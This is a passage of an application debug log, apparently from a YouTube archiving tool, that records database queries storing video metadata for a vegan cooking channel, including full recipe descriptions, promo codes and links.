tbsp spice blend and ½ tbsp oil, transfer to a parchment or silicone lined baking tray and roast on the top rack 30 to 35 mins, or until golden in colour. Then set aside to cool to room temp.\n4. In a small jar or bowl, add all of the dressing ingredients and whisk or shake to combine. Set aside.\n5. In a large serving bowl combine the remaining salad ingredients, including the cooled cauliflower, pour over the entire jar/bowl of dressing and toss ev (truncated) 20:31:07.564 [debug] QUERY OK source="sources" db=1.2ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.567 [debug] QUERY OK source="media_items" db=2.9ms idle=9.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-06 00:00:00Z], 1] 20:31:07.586 [debug] QUERY OK source="media_items" db=17.1ms queue=0.1ms idle=11.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make VEGAN MEATBALLS! These homemade meatless meatballs made with lentils are to die for! This easy vegan recipe is high-protein, great for vegan meal prep and is gluten-free. \n\nLooking for more healthy, high-protein recipes? Watch this playlist next: \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nVegan Meatballs Makes 20 lentil meatballs, serves 4, 345 Calories, 16g protein\n1 small onion\n3 large cloves garlic\n½ tbsp oil or ¼ cup water\n½ cup walnuts\n1 cup cooked brown lentils\n1 cup cooked quinoa\n1 tsp of Italian seasoning \n¼ tsp red chili flakes\n¼ cup nutritional yeast\n1 to 2 tbsp balsamic vinegar\n2 tbsp tomato paste\n1 flax egg\n¼ cup chopped parsley\n¼ cup gluten-free breadcrumbs\nBlack pepper\n¼ tsp salt\n\nBefore you start, if you haven’t cooked the quinoa and lentils yet, do so now. For the lentils, bring to a boil in a small saucepan ½ cup dry brown or green lentils in 1 cup water, then turn to a simmer and cook for 15 to 20 minutes, until just cooked. For the quinoa, bring to a boil in a separate small saucepan ⅓ cup quinoa in ⅔ cups water, then reduce to a simmer and cook for 18 to 20 minutes. Allow both the lentils and quinoa to cool to room temp.\n\n1. In a small skillet, heat the oil or water over medium heat, then add the garlic and onion and sauté for 8 to 10 minutes, or until slightly caramelized and darkened in colour. Remove pan from heat.\n2. In a food processor add the sautéed onion and garlic, red chili flakes, nutritional yeast, Italian seasoning and pulse until is forms a meal (NOT a paste). Then add the cooled quinoa, lentils, tomato paste, flax egg, tomato paste, balsamic vinegar/worcestershire, fresh parsley, breadcrumbs, salt and pepper. Pulse to combine until a textured dough forms that is a bit tacky to the touch.\n3. Taste and adjust seasonings as needed, adding more salt for depth of flavour, chili flakes for spice, balsamic for tang and vibrance, herbs for flavour or nutritional yeast for more savoury umami.\n4. Scoop out the mixture into heaping 1½ tbsp-sized scoops using a cookie dough scoop or tablespoon. Form them into small round balls and set aside on a plate. Repeat and refrigerate for 15 minutes. Meanwhile preheat your oven to 375°F.\n5. Heat an oven-safe skillet (or the same pan you used to sauté the onion/garlic earlier) and heat 1 tsp of oil until shimmering, then add the meatballs. Sauté for 2 to 3 minutes, then turn onto the other side a cook for a further 2 to 3 mins, allowing a nice crust to form on both sides. Then transfer to the oven and bake for 20 to 30 minutes, until golden brown on the edges. Alternatively, if you don’t have an oven safe skillet, you can transfer the meatballs to a parchment lined baking tray before baking.\n6. Carefully remove the skillet from the oven and place back on the burner over medium heat and add 2 cups of marinara sauce, heating through until bubbling, about 5 minutes. Alternatively, these meatballs are delicious on their own, so feel free to dig in right away (after they’ve cooled enough of course!).\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN MEATBALLS! Healthy High-Protein Lentil Meatballs", "7b356c62-4301-4cfc-afc1-0a508ddf9a85", 1, [], false, "LC9gHtQ9jQU", "https://www.youtube.com/watch?v=LC9gHtQ9jQU", 205, "/downloads/downloads/alec/Steamy Vegan/2024-04-06 VEGAN MEATBALLS! Healthy High-Protein Lentil Meatballs/VEGAN MEATBALLS! Healthy High-Protein Lentil Meatballs [LC9gHtQ9jQU].NA", false, false, false, 1, ~U[2024-04-06 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Let's make VEGAN MEATBALLS! These homemade meatless meatballs made with lentils are to die for! This easy vegan recipe is high-protein, great for vegan meal prep and is gluten-free. \n\nLooking for more healthy, high-protein recipes? Watch this playlist next: \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nVegan Meatballs Makes 20 lentil meatballs, serves 4, 345 Calories, 16g protein\n1 small onion\n3 large cloves garlic\n½ tbsp oil or ¼ cup water\n½ cup walnuts\n1 cup cooked brown lentils\n1 cup cooked quinoa\n1 tsp of Italian seasoning \n¼ tsp red chili flakes\n¼ cup nutritional yeast\n1 to 2 tbsp balsamic vinegar\n2 tbsp tomato paste\n1 flax egg\n¼ cup chopped parsley\n¼ cup gluten-free breadcrumbs\nBlack pepper\n¼ tsp salt\n\nBefore you start, if you haven’t cooked the quinoa and lentils yet, do so now. For the lentils, bring to a boil in a small saucepan ½ cup dry brown or green lentils in 1 cup water, then turn to a simmer and cook for 15 to 20 minutes, until just cooked. For the quinoa, bring to a boil in a separate small saucepan ⅓ cup quinoa in ⅔ cups water, then reduce to a simmer and cook for 18 to 20 minutes. Allow both the lentils and quinoa to cool to room temp.\n\n1. In a small skillet, heat the oil or water over medium heat, then add the garlic and onion and sauté for 8 to 10 minutes, or until slightly caramelized and darkened in colour. Remove pan from heat.\n2. In a food processor add the sautéed onion and garlic, red chili flakes, nutritional yeast, Italian seasoning and pulse until is forms a meal (NOT a paste). Then add the cooled quinoa, lentils, tomato paste, flax egg, tomato paste, balsamic vinegar/worcestershire, fresh parsley, breadcrumbs, salt and pepper. Pulse to combine until a textured dough forms that is a bit tacky to the touch.\n3. Taste and adjust seasonings as needed, adding more salt for depth of flavour, chili flakes for spice, balsamic for tang and vibrance, herbs for flavour or nutritional yeast for more savoury umami.\n4. Scoop out the mixture into heaping 1½ tbsp-sized scoops using a cookie dough scoop or tablespoon. Form them into small round balls and set aside on a plate. Repeat and refrigerate for 15 minutes. Meanwhile preheat your oven to 375°F.\n5. Heat an oven-safe skillet (or the same pan you used to sauté the onion/garlic earlier) and heat 1 tsp of oil until shimmering, then add the meatballs. Sauté for 2 to 3 minutes, then turn onto the other side a cook for a further 2 to 3 mins, allowing a nice crust to form on both sides. Then transfer to the oven and bake for 20 to 30 minutes, until golden brown on the edges. Alternatively, if you don’t have an oven safe skillet, (truncated) 20:31:07.588 [debug] QUERY OK source="sources" db=0.9ms idle=27.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.591 [debug] QUERY OK source="media_items" db=2.5ms idle=25.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-31 00:00:00Z], 1] 20:31:07.594 [debug] QUERY OK source="media_items" db=2.1ms idle=27.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're making VEGAN Tuna Casserole! This tuna casserole made vegan is one of the best easy casseroles, perfect for an easy weeknight meal or for your vegan meal prep. Made with young jackfruit and chickpeas, this dump and bake casserole is meaty, 'fishy' and so cozy and comforting. One of my FAVE childhood meals ever!\n\nLooking for more easy dump and bake casseroles? Watch this video next: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\n\n*VEGAN TUNA CASSEROLE * Serves 4 to 6, 485 Cal, 12g protein\n1 cup uncooked brown rice\n2 cups coconut milk\n1 can of young green jackfruit\n1 can of chickpeas, drained and rinsed \n1 cup mushroom broth\n1 tablespoon sweet miso paste\n2 tbsp vegan butter\n1 tsp garlic powder\n1 tsp onion powder\n3/4 tsp salt \n4 nori snack sheets, roasted and salted \n1 cup frozen peas and carrot mix\n\n1. In a sauce pan, add the coconut milk, mushroom broth, miso paste, garlic and onion powder, and vegan butter and bring to a boil and stir until melted.\n2. Add the nori sheets and jackfruit to a food processor or blender and pulse until shredded and flaky, resembling canned tuna.\n3. In a casserole dish, combined the chickpeas, frozen peas and carrots and shredded jackfruit and stir until welcome bind. Evenly sprinkle the dry brown rice over top of the mixture. Then, pour over the liquid mixture and with a spoon gently press any uncovered rice into the liquid.\n4. Cover with foil and bake for one hour. ENJOY!!\n\nThis is seriously sooo good! Perfect side dish or weeknight meal that requires minimal effort. 😊 \n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN 'Tuna' Casserole! One of My FAVE Plant-Based Comfort Foods", "087e022c-38b3-4d73-8961-efeffc211778", 1, [], false, "d6bOjMDNE6Q", "https://www.youtube.com/watch?v=d6bOjMDNE6Q", 206, "/downloads/downloads/alec/Steamy Vegan/2024-03-31 VEGAN 'Tuna' Casserole! One of My FAVE Plant-Based Comfort Foods/VEGAN 'Tuna' Casserole! One of My FAVE Plant-Based Comfort Foods [d6bOjMDNE6Q].NA", false, false, false, 1, ~U[2024-03-31 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "We're making VEGAN Tuna Casserole! This tuna casserole made vegan is one of the best easy casseroles, perfect for an easy weeknight meal or for your vegan meal prep. Made with young jackfruit and chickpeas, this dump and bake casserole is meaty, 'fishy' and so cozy and comforting. One of my FAVE childhood meals ever!\n\nLooking for more easy dump and bake casseroles? Watch this video next: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\n\n*VEGAN TUNA CASSEROLE * Serves 4 to 6, 485 Cal, 12g protein\n1 cup uncooked brown rice\n2 cups coconut milk\n1 can of young green jackfruit\n1 can of chickpeas, drained and rinsed \n1 cup mushroom broth\n1 tablespoon sweet miso paste\n2 tbsp vegan butter\n1 tsp garlic powder\n1 tsp onion powder\n3/4 tsp salt \n4 nori snack sheets, roasted and salted \n1 cup frozen peas and carrot mix\n\n1. In a sauce pan, add the coconut milk, mushroom broth, miso paste, garlic and onion powder, and vegan butter and bring to a boil and stir until melted.\n2. Add the nori sheets and jackfruit to a food processor or blender and pulse until shredded and flaky, resembling canned tuna.\n3. In a casserole dish, combined the chickpeas, frozen peas and carrots and shredded jackfruit and stir until welcome bind. Evenly sprinkle the dry brown rice over top of the mixture. Then, pour over the liquid mixture and with a spoon gently press any uncovered rice into the liquid.\n4. Cover with foil and bake for one hour. ENJOY!!\n\nThis is seriously sooo good! Perfect side dish or weeknight meal that requires minimal effort. 😊 \n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN 'Tuna' Casserole! One of My FAVE Plant-Based Comfort Foods", 1, nil, false, "d6bOjMDNE6Q", "https://www.youtube.com/watch?v=d6bOjMDNE6Q", "/downloads/downloads/alec/Steamy Vegan/2024-03-31 VEGAN 'Tuna' Casserole! One of My FAVE Plant-Based Comfort Foods/VEGAN 'Tuna' Casserole! One of My FAVE Plant-Based Comfort Foods [d6bOjMDNE6Q].NA", false, ~U[2024-03-31 00:00:00Z]] 20:31:07.596 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=27.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.598 [debug] QUERY OK source="media_items" db=1.9ms idle=10.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-27 00:00:00Z], 1] 20:31:07.601 [debug] QUERY OK source="media_items" db=1.7ms idle=10.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video we're making 20 MINUTE VEGAN MEALS! These easy weeknight meals are vegan, healthy and require minimal chopping, minimal prep, minimal ingredients! We're making 20 minute noodles (Asian-inspired peanut noodles) and a creamy vegan hummus pasta. LET'S GO!\n\nLove pasta? Watch this video next: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0HIGH-PROTEIN\u00A0PASTAS!\u00A0Cajun\u00A0Pasta,\u00A0Re...\u00A0\u00A0\nWant more healthy, high-protein vegan meal inspo? Check out this playlist: \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nSPICY PEA'NOT' NOODLES Serves 4, 565 Cal, 30g protein\n(great for folks with peanut allergies, see notes!)\n\nfor the sauce\n¼ cup hummus (my oil-free hummus recipe ➡️ https://steamyvegan.com/oil-free-hummus/)\n2 tbsp nut butter (peanut butter or any other nut/seed butter you love)\n1 tbsp gochujang (sub: sriracha or garlic chili sauce)\n1 tbsp maple syrup (or any liquid sweetener)\n1 tbsp mirin (sub: more maple syrup)\n1 tbsp rice vinegar\n3 tbsp soy sauce or tamari\n1 tsp garlic powder\n1 tsp onion powder\npinch chili flakes\n\n10 oz ramen or rice noodles\n2 cups broccoli florets, chopped\n2 cups frozen damame beans, thawed\n1 block extra firm tofu, chopped\n\n1. Bring a large saute pan of salted water to a boil and cook rice/ramen noodles according to package directions.\n2. While the water boils, combine all the sauce ingredients in a bowl and whisk well until creamy. Thin with a bit of water if needed.\n3. Chop the broccoli, and when the noodles are about 3 to 4 mins away from being al dente, add the broccoli to the noodles and cook for 3 to 4 minutes, until bright green but still firm with a bit of crunch left.\n4. Drain the noodles and broccoli, return to empty pan. Add the spicy sauce and thawed edamame beans and stir well to combine until all the noodles and broccoli have been completely coated in the sauce. Let the dish warm through on medium-low heat until steaming hot, remove from heat and serve.\n5. Garnish with chopped green onion, sesame seeds and extra chili flakes and enjoy!\n\n\nCREAMY HUMMUS PASTA Serves 4, 490 Cal, 26g protein\n\n1 pound pasta noodles\nfor the sauce\n1 cup hummus\n1 block silken tofu\n2 tbsp tomato paste\n2 tbsp lemon juice\n\n¼ cup sun-dried tomatoes, chopped\n½ cup kalamata olives, pitted and sliced\n3 roma tomatoes, diced\nHandful of fresh chopped basil or parsley\n\n1. Bring a large saute pan of salted water to a boil and cook pasta noodles according to package directions until almost al dente.\n2. While the water boils, add the silken tofu, hummus, tomato paste and lemon juice to a high speed blender and blend for 30 to 60 seconds until smooth and creamy.\n3. Chop the roma tomatoes, sun dried tomatoes, kalamata olives and fresh herbs. \n4. Once noodles are almost al dente, drain the water (reserve ½ cup pasta water in case to thin out sauce) and set the noodles aside. \n5. Add the roma tomatoes to the pan and saute with a splash of water or ½ tbsp oil, for about 3 to 4 minutes over medium heat, until darkening in colour and shrinking in size. Add the noodles, sauce, sun dried tomatoes, olives and fresh basil. Stir well to combine everything into the sauce.\n6. Let the dish heat through until for 4 to 6 minutes until steaming hot, then remove from the heat. Serve with extra chopped sun dried tomatoes, olives and fresh herbs and enjoy!\n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME " <> ..., "One Pot Vegan Meals ANYONE Can Make! Healthy & Easy Vegan Recipes", "05b96983-06e1-42ac-bd20-5a58f22c3d1f", 1, [], false, "cQYJMPvO5tE", "https://www.youtube.com/watch?v=cQYJMPvO5tE", 207, "/downloads/downloads/alec/Steamy Vegan/2024-03-27 One Pot Vegan Meals ANYONE Can Make! Healthy & Easy Vegan Recipes/One Pot Vegan Meals ANYONE Can Make! Healthy & Easy Vegan Recipes [cQYJMPvO5tE].NA", false, false, false, 1, ~U[2024-03-27 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video we're making 20 MINUTE VEGAN MEALS! These easy weeknight meals are vegan, healthy and require minimal chopping, minimal prep, minimal ingredients! We're making 20 minute noodles (Asian-inspired peanut noodles) and a creamy vegan hummus pasta. LET'S GO!\n\nLove pasta? Watch this video next: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0HIGH-PROTEIN\u00A0PASTAS!\u00A0Cajun\u00A0Pasta,\u00A0Re...\u00A0\u00A0\nWant more healthy, high-protein vegan meal inspo? Check out this playlist: \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nSPICY PEA'NOT' NOODLES Serves 4, 565 Cal, 30g protein\n(great for folks with peanut allergies, see notes!)\n\nfor the sauce\n¼ cup hummus (my oil-free hummus recipe ➡️ https://steamyvegan.com/oil-free-hummus/)\n2 tbsp nut butter (peanut butter or any other nut/seed butter you love)\n1 tbsp gochujang (sub: sriracha or garlic chili sauce)\n1 tbsp maple syrup (or any liquid sweetener)\n1 tbsp mirin (sub: more maple syrup)\n1 tbsp rice vinegar\n3 tbsp soy sauce or tamari\n1 tsp garlic powder\n1 tsp onion powder\npinch chili flakes\n\n10 oz ramen or rice noodles\n2 cups broccoli florets, chopped\n2 cups frozen damame beans, thawed\n1 block extra firm tofu, chopped\n\n1. Bring a large saute pan of salted water to a boil and cook rice/ramen noodles according to package directions.\n2. While the water boils, combine all the sauce ingredients in a bowl and whisk well until creamy. Thin with a bit of water if needed.\n3. Chop the broccoli, and when the noodles are about 3 to 4 mins away from being al dente, add the broccoli to the noodles and cook for 3 to 4 minutes, until bright green but still firm with a bit of crunch left.\n4. Drain the noodles and broccoli, return to empty pan. Add the spicy sauce and thawed edamame beans and stir well to combine until all the noodles and broccoli have been completely coated in the sauce. Let the dish warm through on medium-low heat until steaming hot, remove from heat and serve.\n5. Garnish with chopped green onion, sesame seeds and extra chili flakes and enjoy!\n\n\nCREAMY HUMMUS PASTA Serves 4, 490 Cal, 26g protein\n\n1 pound pasta noodles\nfor the sauce\n1 cup hummus\n1 block silken tofu\n2 tbsp tomato paste\n2 tbsp lemon juice\n\n¼ cup sun-dried tomatoes, chopped\n½ cup kalamata olives, pitted and sliced\n3 roma tomatoes, diced\nHandful of fresh chopped basil or parsley\n\n1. Bring a large saute pan of salted water to a boil and cook pasta noodles according to package directions until almost al dente.\n2. While the (truncated) 20:31:07.603 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.606 [debug] QUERY OK source="media_items" db=3.0ms idle=9.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-23 00:00:00Z], 1] 20:31:07.620 [debug] QUERY OK source="media_items" db=11.8ms idle=11.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I'm sharing about living with Osteogenesis Imperfecta, a rare bone disorder and what I eat in a day on a plant-based diet to build strong bones! I talk about the importance of healthy bones, mention some high-calcium food sources and other bone and connective tissue supporting minerals that you can easily get on a vegan diet.\n\nLooking for more healthy, high-protein meal inspo? Watch this playlist next: \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nBREAKFAST — Chocolate Protein Oats 434 Cal, 27g protein\n1½ cups sprouted oats (Potassium, Calcium)\n2½ cups water plus pinch of salt\n2 scoops chocolate protein powder (Calcium, Vitamin K, A, C, Magnesium, I used Good Protein)\n1 banana, sliced (Potassium, Magnesium)\n½ cup soy milk or your fave plant milk, if needed (Calcium, Potassium, Vit A)\n\n1. Add water and pinch of salt to a pot and bring to a boil. Add the oats and sliced banana, stir to combine, turn heat to low and simmer, partially covered with a lid for 10 to 12 minutes, or until its just about cooked to your liking.\n2. Add the protein powder and stir well so no lumps are left, and remove from the heat. If the oatmeal is too thick or dry, add the soy milk or plant milk and stir until combined.\n3. Top with your fave toppings like more sliced bananas, strawberries, shredded coconut, hemp hearts, and cacao nibs. Enjoy!\n\nLUNCH — Mushroom & Broccoli Quinoa 455 Cal, 21g protein\n1 cup brown lentils, rinsed (Magnesium, Manganese, Potassium)\n3 cups veggie broth\n4 cloves garlic, minced (Sulfur)\n1 onion, chopped (Sulfur)\n1 can coconut milk (Calcium, Potassium, Magnesium)\n1 cup quinoa, rinsed (Manganese, Magnesium)\n½ lb. mushrooms, chopped (Vitamin D)\n1 crown broccoli (Calcium, Vitamin K, A, Sulfur, potassium, Manganese)\n3 tbsp nooch (optional, if you want some cheesy flavour)\n\n1. In a large saute pan, warm a splash of water or 1 tbsp oil. Add the onion and garlic and cook for 2 minutes until softened and fragrant. Add all remaining ingredients minus the nutritional yeast and stir to combine.\n2. Cover with a lid, increase heat to high and bring to a simmer. Turn heat to low, and simmer for 22 to 25 minutes, stirring occasionally, until the lentils and quinoa are cooked through but not mushy.\n3. Serve with fresh herbs or chopped green onion. Enjoy!\n\n\nDINNER — Sweet Potato & Black Bean Burrito Bowl 640 Cal, 32g protein\n2 cans black beans, drained and rinsed (Calcium, Potassium. Magnesium, Manganese)\n2 cups cooked rice, day old prefered\n1½ cups corn\n1 cup salsa\nA few handfuls of spinach (Calcium, Vitamin K, C, Magnesium, Potassium, Manganese)\n1 block firm tofu, cubed 